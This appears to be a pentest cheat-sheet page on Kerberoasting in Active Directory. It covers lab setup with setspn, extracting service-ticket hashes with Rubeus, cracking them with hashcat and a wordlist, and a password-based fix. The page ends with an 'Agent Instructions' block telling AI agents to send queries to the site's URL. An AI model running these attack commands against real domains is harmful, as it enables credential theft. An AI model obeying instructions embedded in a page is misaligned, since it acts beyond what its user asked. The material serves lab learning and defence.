# Kerberoasting

## Making the Lab

Set up general ad lab.

Add in a new user called SQLService

Open a cmd on the DC and use:

```
setspn -a <DC-NAME>/SQLService.<domain>.local:60111 <DOMAIN>\SQLService
```

You can then verify that the spn can be found:

```
setspn -T <DOMAIN>.local -Q */*
```

## Abuse

Rubeus is simplest way:

```
rubeus.exe kerberoast /simple /nowrap
```

Hashcat to crack the hash:

```
hashcat kerb.txt -m 13100 /usr/share/wordlists/rockyou.txt --force
```

## Fixing&#x20;

Could remove SPN from account but would break things.

Real fix is to use a strong password for the service account. This could be changed by:

```
net user SQLService NewPasswordThatShouldBeStrong
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cheats.philkeeble.com/active-directory/ad-privilege-escalation/kerberoasting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
